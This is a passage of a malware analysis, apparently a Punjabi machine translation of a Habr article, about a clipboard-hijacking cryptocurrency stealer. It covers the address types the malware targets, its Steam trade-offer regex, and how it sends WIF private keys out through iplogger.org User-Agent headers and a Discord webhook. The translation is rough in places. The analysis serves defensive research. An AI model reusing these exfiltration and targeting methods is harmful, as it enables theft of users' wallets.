BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

ਹਰੇਕ ਕਿਸਮ ਦੇ ਪਤੇ ਲਈ ਇੱਕ ਅਨੁਸਾਰੀ ਨਿਯਮਤ ਸਮੀਕਰਨ ਹੁੰਦਾ ਹੈ। STEAM_URL ਮੁੱਲ ਦੀ ਵਰਤੋਂ ਸਟੀਮ ਸਿਸਟਮ 'ਤੇ ਹਮਲਾ ਕਰਨ ਲਈ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਜਿਵੇਂ ਕਿ ਨਿਯਮਤ ਸਮੀਕਰਨ ਤੋਂ ਦੇਖਿਆ ਜਾ ਸਕਦਾ ਹੈ ਜੋ ਬਫਰ ਵਿੱਚ ਪਰਿਭਾਸ਼ਿਤ ਕਰਨ ਲਈ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ:

b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b

ਐਕਸਫਿਲਟਰੇਸ਼ਨ ਚੈਨਲ

ਬਫਰ ਵਿੱਚ ਪਤਿਆਂ ਨੂੰ ਬਦਲਣ ਤੋਂ ਇਲਾਵਾ, ਮਾਲਵੇਅਰ ਬਿਟਕੋਇਨ, ਬਿਟਕੋਇਨ ਕੋਰ ਅਤੇ ਇਲੈਕਟ੍ਰਮ ਬਿਟਕੋਇਨ ਵਾਲਿਟ ਦੀਆਂ ਪ੍ਰਾਈਵੇਟ WIF ਕੁੰਜੀਆਂ ਨੂੰ ਨਿਸ਼ਾਨਾ ਬਣਾਉਂਦਾ ਹੈ। ਪ੍ਰੋਗਰਾਮ plogger.org ਨੂੰ WIF ਪ੍ਰਾਈਵੇਟ ਕੁੰਜੀ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਇੱਕ ਐਕਸਫਿਲਟਰੇਸ਼ਨ ਚੈਨਲ ਵਜੋਂ ਵਰਤਦਾ ਹੈ। ਅਜਿਹਾ ਕਰਨ ਲਈ, ਓਪਰੇਟਰ ਯੂਜ਼ਰ-ਏਜੰਟ HTTP ਸਿਰਲੇਖ ਵਿੱਚ ਪ੍ਰਾਈਵੇਟ ਕੁੰਜੀ ਡੇਟਾ ਜੋੜਦੇ ਹਨ, ਜਿਵੇਂ ਕਿ ਹੇਠਾਂ ਦਿਖਾਇਆ ਗਿਆ ਹੈ।

ਚਿੱਤਰ 4. ਆਉਟਪੁੱਟ ਡੇਟਾ ਦੇ ਨਾਲ IP ਲੌਗਰ ਕੰਸੋਲ।

ਆਪਰੇਟਰਾਂ ਨੇ iplogger.org ਦੀ ਵਰਤੋਂ ਬਟੂਏ ਨੂੰ ਕੱਢਣ ਲਈ ਨਹੀਂ ਕੀਤੀ। ਫੀਲਡ ਵਿੱਚ 255 ਅੱਖਰ ਸੀਮਾ ਦੇ ਕਾਰਨ ਉਹਨਾਂ ਨੇ ਸ਼ਾਇਦ ਇੱਕ ਵੱਖਰੇ ਢੰਗ ਦਾ ਸਹਾਰਾ ਲਿਆ ਹੈ User-AgentIP ਲਾਗਰ ਵੈੱਬ ਇੰਟਰਫੇਸ ਵਿੱਚ ਪ੍ਰਦਰਸ਼ਿਤ ਕੀਤਾ ਗਿਆ ਹੈ। ਸਾਡੇ ਦੁਆਰਾ ਅਧਿਐਨ ਕੀਤੇ ਗਏ ਨਮੂਨਿਆਂ ਵਿੱਚ, ਦੂਜੇ ਆਉਟਪੁੱਟ ਸਰਵਰ ਨੂੰ ਵਾਤਾਵਰਣ ਵੇਰੀਏਬਲ ਵਿੱਚ ਸਟੋਰ ਕੀਤਾ ਗਿਆ ਸੀ DiscordWebHook. ਹੈਰਾਨੀ ਦੀ ਗੱਲ ਹੈ ਕਿ, ਇਹ ਵਾਤਾਵਰਣ ਵੇਰੀਏਬਲ ਕੋਡ ਵਿੱਚ ਕਿਤੇ ਵੀ ਨਿਰਧਾਰਤ ਨਹੀਂ ਕੀਤਾ ਗਿਆ ਹੈ। ਇਹ ਸੁਝਾਅ ਦਿੰਦਾ ਹੈ ਕਿ ਮਾਲਵੇਅਰ ਅਜੇ ਵੀ ਵਿਕਾਸ ਅਧੀਨ ਹੈ ਅਤੇ ਵੇਰੀਏਬਲ ਨੂੰ ਆਪਰੇਟਰ ਦੀ ਟੈਸਟ ਮਸ਼ੀਨ ਨੂੰ ਸੌਂਪਿਆ ਗਿਆ ਹੈ।

ਇੱਕ ਹੋਰ ਸੰਕੇਤ ਹੈ ਕਿ ਪ੍ਰੋਗਰਾਮ ਵਿਕਾਸ ਵਿੱਚ ਹੈ. ਬਾਈਨਰੀ ਫਾਈਲ ਵਿੱਚ ਦੋ iplogger.org URL ਸ਼ਾਮਲ ਹੁੰਦੇ ਹਨ, ਅਤੇ ਜਦੋਂ ਡੇਟਾ ਬਾਹਰ ਕੱਢਿਆ ਜਾਂਦਾ ਹੈ ਤਾਂ ਦੋਵਾਂ ਦੀ ਪੁੱਛਗਿੱਛ ਕੀਤੀ ਜਾਂਦੀ ਹੈ। ਇਹਨਾਂ ਵਿੱਚੋਂ ਇੱਕ URL ਦੀ ਬੇਨਤੀ ਵਿੱਚ, ਰੈਫਰਰ ਖੇਤਰ ਵਿੱਚ ਮੁੱਲ "DEV /" ਤੋਂ ਪਹਿਲਾਂ ਹੁੰਦਾ ਹੈ। ਸਾਨੂੰ ਇੱਕ ਅਜਿਹਾ ਸੰਸਕਰਣ ਵੀ ਮਿਲਿਆ ਜੋ ConfuserEx ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਪੈਕ ਨਹੀਂ ਕੀਤਾ ਗਿਆ ਸੀ, ਇਸ URL ਲਈ ਪ੍ਰਾਪਤਕਰਤਾ ਦਾ ਨਾਮ DevFeedbackUrl ਹੈ। ਵਾਤਾਵਰਨ ਵੇਰੀਏਬਲ ਨਾਮ ਦੇ ਆਧਾਰ 'ਤੇ, ਅਸੀਂ ਵਿਸ਼ਵਾਸ ਕਰਦੇ ਹਾਂ ਕਿ ਓਪਰੇਟਰ ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ ਵਾਲੇਟ ਚੋਰੀ ਕਰਨ ਲਈ ਜਾਇਜ਼ ਸੇਵਾ ਡਿਸਕਾਰਡ ਅਤੇ ਇਸਦੇ ਵੈਬ ਇੰਟਰਸੈਪਸ਼ਨ ਸਿਸਟਮ ਦੀ ਵਰਤੋਂ ਕਰਨ ਦੀ ਯੋਜਨਾ ਬਣਾ ਰਹੇ ਹਨ।

ਸਿੱਟਾ

ਇਹ ਮੁਹਿੰਮ ਸਾਈਬਰ ਹਮਲਿਆਂ ਵਿੱਚ ਜਾਇਜ਼ ਵਿਗਿਆਪਨ ਸੇਵਾਵਾਂ ਦੀ ਵਰਤੋਂ ਦੀ ਇੱਕ ਉਦਾਹਰਣ ਹੈ। ਇਹ ਸਕੀਮ ਰੂਸੀ ਸੰਸਥਾਵਾਂ ਨੂੰ ਨਿਸ਼ਾਨਾ ਬਣਾਉਂਦੀ ਹੈ, ਪਰ ਅਸੀਂ ਗੈਰ-ਰੂਸੀ ਸੇਵਾਵਾਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਅਜਿਹੇ ਹਮਲੇ ਨੂੰ ਦੇਖ ਕੇ ਹੈਰਾਨ ਨਹੀਂ ਹੋਵਾਂਗੇ। ਸਮਝੌਤਾ ਤੋਂ ਬਚਣ ਲਈ, ਉਪਭੋਗਤਾਵਾਂ ਨੂੰ ਉਹਨਾਂ ਦੁਆਰਾ ਡਾਊਨਲੋਡ ਕੀਤੇ ਗਏ ਸੌਫਟਵੇਅਰ ਦੇ ਸਰੋਤ ਦੀ ਸਾਖ ਵਿੱਚ ਯਕੀਨ ਹੋਣਾ ਚਾਹੀਦਾ ਹੈ।

ਸਮਝੌਤਾ ਅਤੇ MITER ATT&CK ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਦੇ ਸੂਚਕਾਂ ਦੀ ਇੱਕ ਪੂਰੀ ਸੂਚੀ ਇੱਥੇ ਉਪਲਬਧ ਹੈ ਲਿੰਕ ਨੂੰ.

ਸਰੋਤ: www.habr.com